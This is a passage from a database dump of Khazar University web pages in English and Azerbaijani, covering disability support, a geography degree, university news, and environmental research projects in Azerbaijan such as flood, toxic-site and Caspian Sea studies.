&nbsp; &nbsp;</li><li>Training volunteer students;</li><li>Arranging\r\ntrainings, seminars and workshops to the students with and without disabilities\r\nin different educational themes.&nbsp;&nbsp;</li></ul><p></p>\r\n<p style=\"text-align:justify\">Instructional\r\nmaterials transformed to the accessible formats can be given to the students\r\nwith disabilities for using materials at home. In this case, student must\r\npromise faithfully and sign the declaration/agreement that he or she will not distribute\r\nit and will protect the copyright. </p>'),(945,613,'en','BS in Geography Education','BS in Geography Education','<p><strong><a href=\"http://www.khazar.org/files/geography_depart/Pay%C4%B1z%202017/Cografiya%20muellimliyi.pdf\">BS in Geography Education</a></strong></p><p>BS in Geography Education is an undergraduate degree program in the field of geography. All courses are designed to meet requirements of modern education standards. After graduation, geography students often work in Azerbaijani secondary schools. The Azerbaijani educational system needs highly qualified teachers, and therefore GEN tailors its curricula toward this need. With this emphasis, GEN has cultivated relationships with leading universities around the world.  </p>'),(2133,1311,'en','Khazar University Instructor’s Course Materials Earn Publication Rights','Associate Professor Ziver Huseynli, instructor of the Department of Languages and Civilizations at Khazar University, prepared a course program entitled “Ancient Azerbaijani Writing” which has been awarded publication rights by the Ministry of Education of the Azerbaijan Republic...','<p>Associate\r\nProfessor Ziver Huseynli, instructor of the Department of Languages and\r\nCivilizations at Khazar University, prepared a course program entitled “Ancient\r\nAzerbaijani Writing” which has been awarded publication rights by the Ministry\r\nof Education of the Azerbaijan Republic. </p>\r\n<p>Huseynli’s\r\ncourse materials were prepared for the “050101 - Azerbaijani Language\r\nEducation” degree program. They were approved by the Khazar University Academic\r\nCouncil on June 4, 2016 and submitted to the Ministry of Education. </p>\r\n<p>On August 3,\r\n2016, the course materials were awarded publication rights by the Ministry of\r\nEducation of the Azerbaijan Republic.&nbsp;</p>'),(2134,1312,'en','Founder Explains Decrease in Student Admissions','On September 7, 2016, Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, answered media representatives’ questions about the reasons why incoming students do not select private universities...','<p><br></p>\r\n<p>On September 7,\r\n2016, Professor Hamlet Isaxanli, the founder of Khazar University and Chairman\r\nof its Board of Directors and Trustees, answered media representatives’\r\nquestions about the reasons why incoming students do not&nbsp;select private universities.\r\nHis answers are available at the following links: </p>\r\n<p><br></p>\r\n<p><a href=\"http://olaylar.az/news/sosial/190620\">http://olaylar.az/news/sosial/190620  </a></p>\r\n<p><a href=\"http://kreditplaza.az/az/eco_az_news/t%C9%99l%C9%99b%C9%99l%C9%99r-niy%C9%99-bu-il-oz%C9%99l-universitetl%C9%99rd%C9%99n-kutl%C9%99vi-imtina-etdil%C9%99r-rektorlardan-aciqlama/\">http://kreditplaza.az/az/eco_az_news/t%C9%99l%C9%99b%C9%99l%C9%99r-niy%C9%99-bu-il-oz%C9%99l-universitetl%C9%99rd%C9%99n-kutl%C9%99vi-imtina-etdil%C9%99r-rektorlardan-aciqlama/</a>;</p>\r\n<p><a href=\"http://faktxeber.com/rektorlar-zl-universitetlrdn-ktlvi-imtinann-sbbini-aqladlar_h483513.html\">http://faktxeber.com/rektorlar-zl-universitetlrdn-ktlvi-imtinann-sbbini-aqladlar_h483513.html</a>;</p>\r\n<p><a href=\"http://modern.az/az/news/111109\">http://modern.az/az/news/111109</a></p>'),(2135,1312,'az','Təsisçi özəl ali məktəblərə qəbul sayının azalmasının səbəblərini izah etdi','2016-cı il sentyabırın 7-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı media nümayəndələrinin “tələbələrin özəl universitetləri seçməməsinin səbəbləri” ilə bağlı suallarını cavablandırmışdır...','<p>2016-cı il\r\nsentyabırın 7-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlı media nümayəndələrinin “tələbələrin\r\nözəl universitetləri seçməməsinin səbəbləri” ilə bağlı suallarını\r\ncavablandırmışdır.</p>\r\n<p>H.İsaxanlının\r\nmediaya verdiyi cavabları bu linklər vasitəsilə oxumaq olar:</p>\r\n<p><a href=\"http://olaylar.az/news/sosial/190620\">http://olaylar.az/news/sosial/190620</a>  <br><a href=\"http://olaylar.az/news/sosial/190620;%0d\"></a></p>\r\n<p><a href=\"http://kreditplaza.az/az/eco_az_news/t%C9%99l%C9%99b%C9%99l%C9%99r-niy%C9%99-bu-il-oz%C9%99l-universitetl%C9%99rd%C9%99n-kutl%C9%99vi-imtina-etdil%C9%99r-rektorlardan-aciqlama/\">http://kreditplaza.az/az/eco_az_news/t%C9%99l%C9%99b%C9%99l%C9%99r-niy%C9%99-bu-il-oz%C9%99l-universitetl%C9%99rd%C9%99n-kutl%C9%99vi-imtina-etdil%C9%99r-rektorlardan-aciqlama/</a>;</p>\r\n<p><a href=\"http://faktxeber.com/rektorlar-zl-universitetlrdn-ktlvi-imtinann-sbbini-aqladlar_h483513.html\">http://faktxeber.com/rektorlar-zl-universitetlrdn-ktlvi-imtinann-sbbini-aqladlar_h483513.html</a>;</p>\r\n<p><a href=\"http://modern.az/az/news/111109\">http://modern.az/az/news/111109</a>.</p>'),(946,614,'en','Research','Research','<p><strong>Time</strong> <span class=\"Apple-tab-span\" style=\"white-space:pre\">      <strong>Partner organization</strong>        <strong>Description</strong>  </span></p><p><strong>2014-to present </strong><span class=\"Apple-tab-span\" style=\"white-space:pre\"><strong>      World Wilde Foundation  </strong></span></p><p><strong><a href=\"http://wwf.panda.org/what_we_do/where_we_work/black_sea_basin/caucasus/?227233/Stakeholder-Meeting-on-TEEB-Scoping-Study-and-FSC-in-Baku\" target=\"_blank\"><em>TEEB Scoping Study for the Forestry Sector of Azerbaijan</em></a></strong></p><p>The scoping study makes a preliminary analysis of the ecosystem services provided by forested areas in Azerbaijan. In order to analyze the ecosystem services of forests, “Business as Usual” (BAU) and “Sustainable Ecosystem Management” (SEM) analytical approaches have been used. Under BAU management, we understand non-planned and non-sustained use of natural resources that gives only short-term gains. In this type of management, some stakeholders may maximize their benefits for short-term periods, causing financial and social damages to ecosystems and other stakeholders.Under SEM management economic benefits are maximized through planned and integrated use of natural resources.</p><div><br></div><p><strong>2012-2013 </strong><span class=\"Apple-tab-span\" style=\"white-space:pre\"><strong>      Global Alliance on Health and Pollution, Blacksmith Institute  </strong></span></p><p><strong><em><a href=\"http://www.pureearth.org/projects/national-toxics-action-plan-ntap/\" target=\"_blank\">National Toxic Action plan for Azerbaijan</a></em></strong></p><p>The National Toxics Action Plan (NTAP) is a strategic framework spearheaded by the Blacksmith Institute and Global Alliance on Health and Pollution (GAHP). The NTAP endeavors to effectively integrate the issue of toxic pollution into national planning.&nbsp;Blacksmith and member countries make use of existing toxic sites inventories, including those developed as part of the Toxic Sites Identification Program (TSIP), to prioritize pollution problems for action. Member countries draft NTAPs in a participatory process that includes various stakeholders and GAHP coordinators, including Blacksmith Institute.<strong><em>&nbsp;</em></strong></p><p><strong><em><br></em></strong></p><p><strong>2012-To present </strong><span class=\"Apple-tab-span\" style=\"white-space:pre\"><strong>      Blacksmith Institute  </strong></span></p><p><strong><a href=\"http://www.dbisa.org/isa/az/\" target=\"_blank\"><em>Toxic Site identification program</em></a></strong></p><p>The Toxic Site Identification Program (TSIP) endeavors to identify and screen contaminated sites in low- and middle-income countries with potential human health impact. As part of the TSIP, more than 120 sites have been screened in Azerbaijan. An additional 100 sites have been identified for future screening.</p>  <div><br></div><p><strong>2012-to present </strong><span class=\"Apple-tab-span\" style=\"white-space:pre\"><strong>      United Nations Development Program  </strong></span></p><p><strong><em><a href=\"http://www.undp.org/content/dam/undp/documents/projects/AZE/AZ_UNDP_Water_and_Flood_Pro_%20Doc_2012.pdf\" target=\"_blank\">Integrating Climate Change Risks into Water and Flood Management by Vulnerable Mountainous Communities in the Greater Caucasus Region.</a></em></strong></p><p>The goal of this project is to sensitize the water management policies to the long term risks of climate change. The objective of the proposed project is to reduce vulnerability of the communities of the Greater Caucasus region of Azerbaijan to water stress and hazards by improved water and flood management.</p>  <div><br></div><p><strong>August 2010-August 2011 </strong><br></p>\r\n<p><strong><em><a href=\"http://www.buchhandel.de/detailansicht.aspx?isbn=9783319015040\" target=\"_blank\">Long-Memory ARFIMA Modeling of Caspian Sea level fluctuations and prediction of changes over the next 50 years.</a></em></strong></p><p>The case of the Caspian Sea level time series demonstrates that both the long rangedependence and some secular long term trend may exist together in geophysicalphenomena. Even after removing the long term trend from the Caspian Sea level timeseries, the residual time series still demonstrate long range dependent behavior. The confidence bands of the forecastsare estimated using the probability density functions of the residuals without assuming aknown distribution.</p><p><em><br></em></p><p><strong>May, 2010-August, 2011&nbsp;</strong></p><p><a href=\"http://www.bioone.org/doi/full/10.1659/MRD-JOURNAL-D-11-00012.1\" target=\"_blank\"><strong><em>Indexing the Environmental Vulnerability of Mountain Streams in Azerbaijan.</em></strong></a></p><p>A simple environmental vulnerability assessment scheme is developed and illustrated using several streams in Azerbaijan as examples. Vulnerability of a river ecosystem is defined in terms of a combined impact of pressure factors such as water withdrawals, pollution, climate change impact on flow variability, and land use. These factors are used to measure the sensitivity of various elements/components of the system to impacts.</p>  <div><br></div><p><strong>February, 2009-June, 2010 </strong> <br></p><p><strong><em><a href=\"http://www.khazar.org/s445/Environmental-Research-Center\" target=\"_blank\">Environmental Security and Resource Management in the Caspian Region, Curricula Development.</a></em></strong></p><p><strong><a href=\"http://www.khazar.org/s445/Environmental-Research-Center\" target=\"_blank\"></a></strong>This course has a integrative character and contains ecological, environmental, economical and political knowledge.&nbsp; For the first time, authors of the project looked at the Caspian region as&nbsp; an entire educational area. The course was delivered taken into consideration only regional interests of Caspian countries, since regional or global approach is the best way to solve environmental problems and protect environmental security.</p><div><em><br></em></div><p><strong>2008 </strong><span class=\"Apple-tab-span\" style=\"white-space:pre\"><strong>   International Lake Environmental Committee, Japan  </strong></span><br></p><p><em><span class=\"Apple-tab-span\" style=\"white-space:pre\"><strong></strong></span></em><strong><em><a href=\"http://www.springerlink.com/content/a6646l88836q5778/\" target=\"_blank\">Analysis of non climatic origins of floods in the downstream part of the Kura River, Azerbaijan.</a></em></strong></p><p><strong><a href=\"http://www.springerlink.com/content/a6646l88836q5778/\" target=\"_blank\"></a></strong>More recently, there are numerous non climatic factors occurring in and around the Kura River basin that have increased the frequency of floods. Sediment accumulation in the riverbed over a long period of time has led to the reduction of channel capacity and has raised the elevation of the riverbed above the surrounding territory. Results show that high rates of hydraulic conductivity of soils will decrease MAF rates. MAF computations before high-water season allow for further regulation of outlets further downstream in order to prevent flooding and enable flood forecasting. While the study focuses on a specific region, the overall approach suggested is generic and may be applied elsewhere.</p><p><br></p><p><strong style=\"font-size:medium\">2006-2007</strong><span class=\"Apple-tab-span\" style=\"white-space:pre;font-size:medium\"><strong>  Institute of Water Research, Michigan State University, USA</strong></span><br></p><p><strong><em><a href=\"http://www.tandfonline.com/doi/abs/10.1623/hysj.54.6.1068\" target=\"_blank\">Introducing environmental thresholds into water withdrawal management of mountain streams in the Kura River basin, Azerbaijan</a></em></strong><em><a href=\"http://www.tandfonline.com/doi/abs/10.1623/hysj.54.6.1068\" target=\"_blank\">.</a></em></p><p><a href=\"http://www.tandfonline.com/doi/abs/10.1623/hysj.54.6.1068\" target=\"_blank\"></a>The study aims to set and implement environmentally relevant limits for the exploitation of mountain streams in the Kura River basin of Azerbaijan. Such streams represent the preferred spawning grounds for valuable sturgeon of the Caspian Sea, but experience continuously increasing exploitation in the form of water withdrawals for industry and irrigation. Since no detailed environmental flow assessments have been conducted on any of the Kura basin streams, an interim approach is suggested based on minimum flow, referred to as \"base environmental minimum\". The latter may be estimated from the unregulated parts of observed or simulated daily flow.</p>'),(947,614,'az','Elmi-Tədqiqat','Elmi-Tədqiqat','<p><strong>Tarix&nbsp;-&nbsp;Partner təşkilat&nbsp;-&nbsp;Təsviri</strong></p><p><br></p><p><strong>2014-indiyə qədər&nbsp;&nbsp; &nbsp;Dünya vəhşi təbiətin mühafizə fondu</strong></p><p><br></p><p><strong><a href=\"http://wwf.panda.org/what_we_do/where_we_work/black_sea_basin/caucasus/?227233/Stakeholder-Meeting-on-TEEB-Scoping-Study-and-FSC-in-Baku\" target=\"_blank\">TEEB Scoping Study for the Forestry Sector of Azerbaijan</a></strong>  </p><p><br></p><p>Ətraf mühitin mühafizəsi üzrə tədqiqat Azərbaycanda meşəlik ərazilərin ekosistem xidmətlərinin ilkin təhlilini aparır. Ormanların ekosistem xidmətlərini təhlil etmək məqsədilə, \"Biznes Asılılığı\" (BAU) və \"Sustainable Ecosystem Management\" (SEM) analitik yanaşmalar istifadə edilmişdir. BAÜ rəhbərliyi altında biz yalnız qısamüddətli mənfəət verən təbii ehtiyatların qeyri-planlaşdırılmış və qeyri-davamlı istifadəsini başa düşürük. Bu tip idarəetmədə bəzi maraqlı tərəflər qısamüddətli dövrlər üçün faydalana bilər, ekosistemlərə və digər maraqlı tərəflərə maliyyə və sosial ziyan vurur. SEM-in idarəetmə iqtisadi səmərəliliyi əsasında təbii ehtiyatların planlaşdırılan və inteqrasiyadan istifadəsi mümkündür.</p><p><br></p><p><br></p><p><strong>2012-2013&nbsp; &nbsp; &nbsp;Sağlamlıq və Çirklənmə&nbsp;üzrə Qlobal İttifaq, Blacksmith&nbsp;İnstitutu</strong></p><p><br></p><p><strong><em><a href=\"http://www.pureearth.org/projects/national-toxics-action-plan-ntap/\" target=\"_blank\">National Toxic Action plan for Azerbaijan</a></em></strong>  </p><p><br></p><p>Milli Toksik Əməliyyat Planı (NTAP) Blacksmith İnstitutu və Sağlamlıq və Kirlilik üzrə Qlobal İttifaq (GAHP) tərəfindən idarə olunan strateji çərçivəsidir. NTAP zəhərli çirklənmə məsələsini milli planlaşdırmaya səmərəli şəkildə inteqrasiya etməyə çalışır. Demirci və üzv ölkələr, mövcud zəhərli sahələrdən zəhərlənmə problemlərini prioritetləşdirmək məqsədilə Toksik Saytların Təyinat Proqramının (TSİP) bir hissəsi kimi hazırlanmış ehtiyatlardan istifadə edirlər. Üzv ölkələr, müxtəlif maraqlı tərəfləri və Blacksmith İnstitutu da daxil olmaqla, GAHP koordinatorlarını əhatə edən iştirakçı prosesdə NTAP layihəsini hazırlayırlar.</p><p><br></p><p><br></p><p><strong>2012&nbsp; &nbsp; &nbsp; &nbsp;Blacksmith  İnstitutunu&nbsp;</strong></p><p><br></p><p><strong><em><a href=\"http://www.dbisa.org/isa/az/\" target=\"_blank\">Toxic Site identification program</a></em></strong>  </p><p><br></p><p>Zəhərli Sahə Təyinat Proqramı (TSİP) potensial insan sağlamlığı təsirinə malik aşağı və orta gəlirli ölkələrdə çirklənmiş sahələri müəyyənləşdirmək və ekranlaşdırmağa çalışır. TQİP tərkibində Azərbaycanda 120-dən çox sayt nümayiş etdirilib. Gələcək tarama üçün əlavə 100 sayt təsvir edilmişdir.</p><p><br></p><p><br></p><p>2<strong>012&nbsp; &nbsp;Birləşmiş Millətlər Təşkilatının İnkişaf Proqramı</strong></p><p><br></p><p><strong><em><a href=\"http://www.undp.org/content/dam/undp/documents/projects/AZE/AZ_UNDP_Water_and_Flood_Pro_%20Doc_2012.pdf\" target=\"_blank\">Integrating Climate Change Risks into Water and Flood Management by Vulnerable Mountainous Communities in the Greater Caucasus Region.</a></em></strong>  </p><p><br></p><p>Bu layihənin məqsədi su idarəetmə siyasətini iqlim dəyişikliyinin uzun müddətli risklərinə həssaslaşdırmaqdır. Təklif olunan layihənin məqsədi Böyük Qafqaz regionunun icmalarının həssaslığını azaltmaqdır və su və daşqınların idarə edilməsinin yaxşılaşdırılması ilə stress və təhlükələrə səbəb olur.</p><p><br></p><p><br></p><p><strong>Avqust 2010-Avqust 2011</strong></p><p><br></p><p><strong><em><a href=\"http://www.buchhandel.de/detailansicht.aspx?isbn=9783319015040\" target=\"_blank\">Long-Memory ARFIMA Modeling of Caspian Sea level fluctuations and prediction of changes over the next 50 years.</a></em></strong>  </p><p><br></p><p>&nbsp;Xəzər dənizi səviyyəsində olan zaman seriyası işi göstərir ki, geofizik proseslərdə uzun müddət dəyişkənlik və bəzi dünyəvi uzunmüddətli tendensiya birlikdə mövcud ola bilər. Hətta Xəzər dənizi səviyyələrində uzunmüddətli meylləri aradan qaldırdıqdan sonra da qalıq zaman seriyası hələ uzun məsafəli asılı davranışları nümayiş etdirir. Bu proqnozların etibarlı tərəfləri qalıqların ehtimal sıxlığı funksiyalarını istifadə edərək, bilinməyən paylamayı qəbul etmədən qiymətləndirdi.</p><p><br></p><p><br></p><p><strong>May, 2010-Avqust, 2011</strong></p><p><br></p><p><a href=\"http://www.bioone.org/doi/full/10.1659/MRD-JOURNAL-D-11-00012.1\" target=\"_blank\"><strong><em>&nbsp;</em></strong><strong><em>Indexing the Environmental Vulnerability of Mountain Streams in Azerbaijan.</em></strong></a>    </p><p><br></p><p>Sadə bir ekoloji zəiflik qiymətləndirmə sxemi nümunə olaraq Azərbaycanda bir sıra axınlardan istifadə edərək inkişaf etdirilir və təsvir edilir. Bir çay ekosisteminin zəifliyi suyun çəkilməsi, çirklənmə, axın dəyişkənliyinə təsir göstərən iqlim dəyişməsinin təsiri və torpaq istifadəsi kimi təzyiq faktorlarının birləşmiş təsiri baxımından müəyyən edilir. Bu amillər sistemin müxtəlif elementlərinin / komponentlərinin təsirlərə qarşı həssaslığını ölçmək üçün istifadə olunur.</p><p><br></p><p><br></p><p><strong>Fevral, 2009-İyun, 2010</strong></p><p><br></p><p><strong><em><a href=\"http://www.khazar.org/s445/Environmental-Research-Center\" target=\"_blank\">Environmental Security and Resource Management in the Caspian Region, Curricula Development.</a></em></strong>  </p><p><br></p><p>Bu kurs inteqrativ bir xarakter daşıyır və ekoloji, ekoloji, iqtisadi və siyasi bilikləri ehtiva edir. Layihənin müəllifləri ilk dəfə olaraq Xəzər regionunu bütöv bir təhsil sahəsi kimi nəzərdən keçirmişlər. Tədbir Xəzəryanı ölkələrin regional maraqlarını nəzərə alaraq təqdim edildi, çünki regional və ya qlobal yanaşma ekoloji problemlərin həlli və ekoloji təhlükəsizliyin qorunmasında ən yaxşı yoldur.</p><p><br></p><p><br></p><p><strong>2008&nbsp; &nbsp;Beynəlxalq Göl Ətrafı Komitəsi, Yaponiya</strong></p><p><br></p><p><strong><em><a href=\"http://www.springerlink.com/content/a6646l88836q5778/\" target=\"_blank\">Analysis of non climatic origins of floods in the downstream part of the Kura River, Azerbaijan.</a></em></strong>  </p><p><br></p><p>Son dövrlərdə, Kür çayının hövzəsində və ətrafında baş verən çoxsaylı qeyri-iqlim faktorları daşqınların tezliyini artırmışdır. Uzun müddət ərzində çay yatağında çöküntülərin yığılması kanalın tutumunun azaldılmasına gətirib çıxardı və ətraf ərazinin yuxarı hissəsində çay yataqlarının yüksəlməsini artırdı. Nəticələr göstərir ki, torpağın hidravlik keçiriciliyinin yüksək dərəcələri MAF dərəcələrini azaldır. Yüksək su mövsümündən əvvəl MAF hesablamaları daşqınların qarşısını almaq və daşqınların proqnozlaşdırılmasını təmin etmək məqsədilə satış yerlərinin daha da aşağı axınını tənzimləməyə imkan verir. Tədqiqat xüsusi bir bölgəyə diqqət yetirərkən, ümumi a</p>  <p><br></p><p><br></p><p><strong>2006-2007&nbsp; &nbsp;&nbsp;Su Araşdırmaları İnstitutu, Miçiqan Dövlət Universiteti, ABŞ </strong> <br></p><p><br></p><p><strong><em><a href=\"http://www.tandfonline.com/doi/abs/10.1623/hysj.54.6.1068\" target=\"_blank\">Introducing environmental thresholds into water withdrawal management of mountain streams in the Kura River basin, Azerbaijan</a></em></strong><em><a href=\"http://www.tandfonline.com/doi/abs/10.1623/hysj.54.6.1068\" target=\"_blank\">.</a></em>  <br></p><p><br></p><p>Tədqiqat Azərbaycanın Kür çayı hövzəsində dağ axınlarının istismarı üçün ekoloji cəhətdən müvafiq məhdudiyyətlər müəyyən etmək və tətbiq etməkdir. Belə axınlar Xəzər dənizinin qiymətli nərə balığı üçün üstünlük təşkil edən zeytun meyvələrini təmsil edir, lakin sənaye və suvarma üçün suyun çəkilməsi şəklində davamlı olaraq istifadəni artırır. Kür çaylarının hər hansı birində ətraf mühitə dair hər hansı bir ekoloji qiymətləndirmə aparılmadığından, \"əsas ekoloji minimumu\" adlandırılan minimum axınına əsasən, müvəqqəti yanaşma təklif olunur. Sonuncu müşahidə edilən və ya simulyasiya edilmiş gündəlik axınının tənzimlənməmiş hissələrindən hesablana bilər.  <br></p>'),(948,615,'az','Layihələr','Layihələr','<div><strong><br></strong></div><div style=\"font-size:large;font-family:arial, helvetica, sans-serif\"><div><strong style=\"font-weight:bold\">2017-2018:&nbsp;</strong>Uşaqlar üçün İqlim Analizinin&nbsp;Təhlili, uşaqları təsir edən iqlim, enerji və ətraf mühitlə bağlı məsələlərin təməl vəziyyətini qiymətləndirməyi hədəfləyir. Tədqiqatlar uşaqlar, ətraf mühit və iqlim dəyişiklikləri ilə bağlı bir neçə tədqiqat işi aparan partiyalara, bütün maraqlı tərəflərə, nazirliklərə, icmalara və beynəlxalq təşkilatlara baxır. Hesabatda uşaqlar, ətraf mühit və iqlim dəyişiklikləri ilə bağlı hazırkı hökumət və icma siyasəti də nəzərdən keçiriləcək və mövcud vəziyyətin dəyişdirilməsi üçün tövsiyələr veriləcək.&nbsp;<br></div><div style=\"font-weight:bold\"><br></div><div style=\"font-weight:bold\"><br></div><div><div><strong style=\"font-weight:bold\">2016-2018:</strong><strong>&nbsp;</strong>Uşaq Mərkəzləşdirilmiş Fəlakət&nbsp;Riskinin Qiymətləndirilməsi. Bu tədqiqatın əsas məqsədi kənd yerlərində uşaq mərkəzli risk qiymətləndirməsini etməkdir.&nbsp;Fəlakət&nbsp;riskinin qiymətləndirilməsi və Xəritəçəkmə təhlükələr, ehtimallar və təsirlər haqqında məlumatların toplanması və təhlili, eləcə də əhalinin bu təhlükələrə zəif olmasıdır. DRA və xəritəçəkmə məqsədi hədəflənmiş sahədəki təhlükə və zəiflik ilə bağlı aydın şəkil verməkdir. Bu məlumat maarifləndirmə işinin ilkin mərhələsində olan məlumatlandırma prosesində istifadə olunur.</div></div>  <br></div><div style=\"font-size:large;font-family:arial, helvetica, sans-serif\"><strong><br></strong></div><div style=\"font-size:large;font-family:arial, helvetica, sans-serif\"><strong>2014-2016: </strong>Xocasən gölünün su balansı. Tədqiqatın məqsədi suyun bütün növləri və nəticələri ilə bağlı ətraflı ölçmə və qiymətləndirmə tələb edən Xocalı gölünün su balansını qiymətləndirməkdir. Qiymətləndirmə metodları axınların və axınların birbaşa ölçülməsini, meteoroloji məlumatların işlənməsini və hidroloji modellərin tətbiqini əhatə edən geniş tədbirlərdən ibarətdir.  <br></div><div style=\"font-size:large;font-family:arial, helvetica, sans-serif\"><strong><br></strong></div><div style=\"font-size:large;font-family:arial, helvetica, sans-serif\"><strong><br></strong></div><div style=\"font-size:large;font-family:arial, helvetica, sans-serif\"><strong>2011-2012:</strong> Xəzər nərə balıqlarının yaşayış şəraitinin yaxşılaşdırılması. Bu iş Rufford fondu tərəfindən dəstəkləndi. Tədqiqat gənc balıqların borulara sövq edilməməsi üçün su təchizatı sahələrini xüsusi avadanlıqlarla təmin etməkdir. Azərbaycanın çayları Xəzər dənizi nərə balığı üçün üstünlük təşkil edən zeytun meyvələridır. Xəzər dənizi dünyanın nərə balıqlarının 90% -dən çoxunu təşkil edir. Avropa nərə balığı və rus nərə balığı ən qiymətli nümayəndələrdir və qara kürü yalnız mənbəyidir. Bu növlər çaylarınızı yumurtlama zonasına qədər köçürür. Aydındır ki, bu çaylarda balıq hərəkətləri iqtisadiyyat üçün vacibdir. Beləliklə, nərə balığının populyasiyasına yüksək həcmli nasosların təsirinin anlaşılması kürü sənayesi və su təsərrüfatı müəssisələri üçün vacibdir.</div><div style=\"font-size:large;font-family:arial, helvetica, sans-serif\"><br></div><div style=\"font-size:large;font-family:arial, helvetica, sans-serif\">&nbsp;</div><div style=\"font-size:large;font-family:arial, helvetica, sans-serif\"><strong>2011-2012: </strong>Böyük Bakı ərazisi üçün vahid şəhərsal su idarəçiliyi işi, iqtisadi qiymətləndirmə.</div><div style=\"font-size:large;font-family:arial, helvetica, sans-serif\"><br></div><div style=\"font-size:large;font-family:arial, helvetica, sans-serif\">Ümumilikdə nisbətən yüksək xidmət səviyyəsinə (Bakının əhalisinin təxminən 95 faizi, digər şəhər ərazilərindəki əhalinin 83 faizi) baxmayaraq, Azərbaycanın əksər hissələrində su təchizatı və kanalizasiya xidmətlərinin keyfiyyəti və etibarlılığı əhəmiyyətli dərəcədə pisləşib, ciddi narahatlıq yaradır . Tədqiqat su təchizatının hazırkı vəziyyətini qiymətləndirmək və Böyük Bakının ərazisində şəhər suyunu idarə etmək üçün gələcək imkanları qiymətləndirmək məqsədi daşıyır. Bu layihə Dünya Bankının maliyyələşdirdiyi Greater Baku Water Supply layihəsinin bir hissəsidir.</div><div style=\"font-size:large;font-family:arial, helvetica, sans-serif\"><br></div><div style=\"font-size:large;font-family:arial, helvetica, sans-serif\">&nbsp;</div><div style=\"font-size:large;font-family:arial, helvetica, sans-serif\"><strong>2010-2011: </strong>Azərbaycanın Dağlıq Akarsularının Ətraf Mühitə Həssaslığının İndekslənməsi. Alman Akademik Mübadilə Xidməti, DAAD tərəfindən maliyyələşdirilir. Bir neçə Azərbaycan axınına sadə ekoloji zəiflik qiymətləndirmə sxemi hazırlanmış və tətbiq edilmişdir. Layihədə suyun çəkilməsi, çirklənmə, iqlim dəyişməsinin axın dəyişkənliyi və torpaqdan istifadəsi ilə bağlı təsiri nəzərə alınır. Bu amillər ətraf mühitin təsirini ölçmək bacarığına əsasən seçilmişdir. Bu faktorların vulnerability qiymətləndirməsinə təsiri regional fərqliliklərə əsasən geniş şəkildə dəyişir.</div><div style=\"font-size:large;font-family:arial, helvetica, sans-serif\"><br></div><div style=\"font-size:large;font-family:arial, helvetica, sans-serif\"><br></div><div style=\"font-size:large;font-family:arial, helvetica, sans-serif\"><strong>2009-2010: </strong>Kurikulumların İnkişafı Layihəsi: \"Xəzər regionunda ekoloji təhlükəsizlik və resursların idarə edilməsi\". Mərkəzi Avropa Universitetinin Kurs İnkişafı Müsabiqəsi, Macarıstan.</div><div style=\"font-size:large;font-family:arial, helvetica, sans-serif\"><br></div><div style=\"font-size:large;font-family:arial, helvetica, sans-serif\">\"Xəzər Hövzəsində Ətraf Mühitin Təhlükəsizliyi və Resursların İdarə olunması\" adlı yeni kurs hazırlanıb. Bu, eyni zamanda Xəzər Universitetində (Azərbaycan) və Avrasiya Milli Universitetində (Kazaxstan) tədris olunan regional intizamsızlıq kursudur. Dərs ətraf mühitin mühafizəsi üzrə əsas konsepsiyaları əks etdirir, qlobal və regional ekoloji narahatlıq sahələrini müəyyən edir və effektiv ekoloji idarəetmə strategiyaları və vasitələrini nəzərdən keçirir ..</div><div style=\"font-size:large;font-family:arial, helvetica, sans-serif\"><br></div><div style=\"font-size:large;font-family:arial, helvetica, sans-serif\">&nbsp;</div><div style=\"font-size:large;font-family:arial, helvetica, sans-serif\"><strong>2008: </strong>Kurikulumların İnkişafı Layihəsi: \"Ekoloji İdarəetmə\". Mərkəzi Avropa Universitetinin, Macarıstanın hədiyyə.</div><div style=\"font-size:large;font-family:arial, helvetica, sans-serif\"><br></div><div style=\"font-size:large;font-family:arial, helvetica, sans-serif\">Ətraf mühitin idarə olunması kursu (EM) ətraf mühitin idarəedilməsi sahəsində ekoloji idarəetmənin bioloji, icma və institusional komponentlərinə girişdir. Bu kurs təbii ehtiyatların keyfiyyətini və miqdarını nəzarət edən təbii və sosial prosesləri vurğulayır.</div><div style=\"font-size:large;font-family:arial, helvetica, sans-serif\"><br></div><div style=\"font-size:large;font-family:arial, helvetica, sans-serif\">&nbsp;</div><div style=\"font-size:large;font-family:arial, helvetica, sans-serif\"><strong>2007-2008: </strong>Azərbaycanın orta məktəbləri və Qazaxıstan üçün (Xəzər dənizi ilə bağlı) kurrikulumların hazırlanması .Bu layihə Demokratiya Komissiyasının (ABŞ) kiçik hibeleri ilə təsis edilmişdir. Çünki Xəzər dənizi bir çox ölkəyə iqtisadi dəyər verir, onun resurslarının müdrik idarə olunması regionda sülhün və iqtisadi inkişafın təmin edilməsi üçün vacibdir. Bununla yanaşı, regional əhalinin maarifləndirilməsinin aşağı səviyyədə olması Xəzər dənizinin resurslarının idarə olunması üçün məqbul həll yollarını tapmağa təhlükə yaradır. Hərtərəfli tədris proqramı bu çatışmazlığı aradan qaldırmağa çalışır və orta məktəb müəllimləri ilə Qazaxıstan və Azərbaycan arasında məsləhətləşmələr aparılır. Proqram geniş yayılmasını təşviq etmək üçün Qazaxıstan və Azərbaycan dillərində dərc edilmişdir.</div><div style=\"font-size:large;font-family:arial, helvetica, sans-serif\"><br></div><div style=\"font-size:large;font-family:arial, helvetica, sans-serif\">&nbsp;</div><div style=\"font-size:large;font-family:arial, helvetica, sans-serif\"><strong>2007: </strong>Junior Faculty Development Project (JFDP) Ətraf Mühit Araşdırmaları Proqramı. ABŞ-ın Demokratiya Komissiyası tərəfindən verilən qrant. Bu layihə təhsilə giriş imkanlarını yaxşılaşdırmaq üçün müxtəlif tədris nümunələrinin inkişafına gətirib çıxardı. Bütün inkişaf etmiş tədris modelləri Azərbaycan və Qazaxıstanda kompakt broşura şəklində (əlavə olunur) çap edilmişdir. Bu broşuralar Azərbaycan və Qazaxıstanın 150 məktəb və kitabxanasına göndərildi. Bu materiallar Azərbaycan və Qazaxıstanın məktəb təhsilinin çatışmazlığını aradan qaldırmağa çalışırlar. Məktəb təhsili ətraf mühitə dair ictimaiyyətin məlumatlılığını artırmaq üçün mübahisəli ən təsirli vasitədir. Buna görə, müxtəlif təhsil resurslarının inkişafı çox vacibdir. Bundan əlavə, bu layihə gələcəkdə Xəzəryanı ölkələrin müxtəlif ekoloji və sosial problemləri ilə 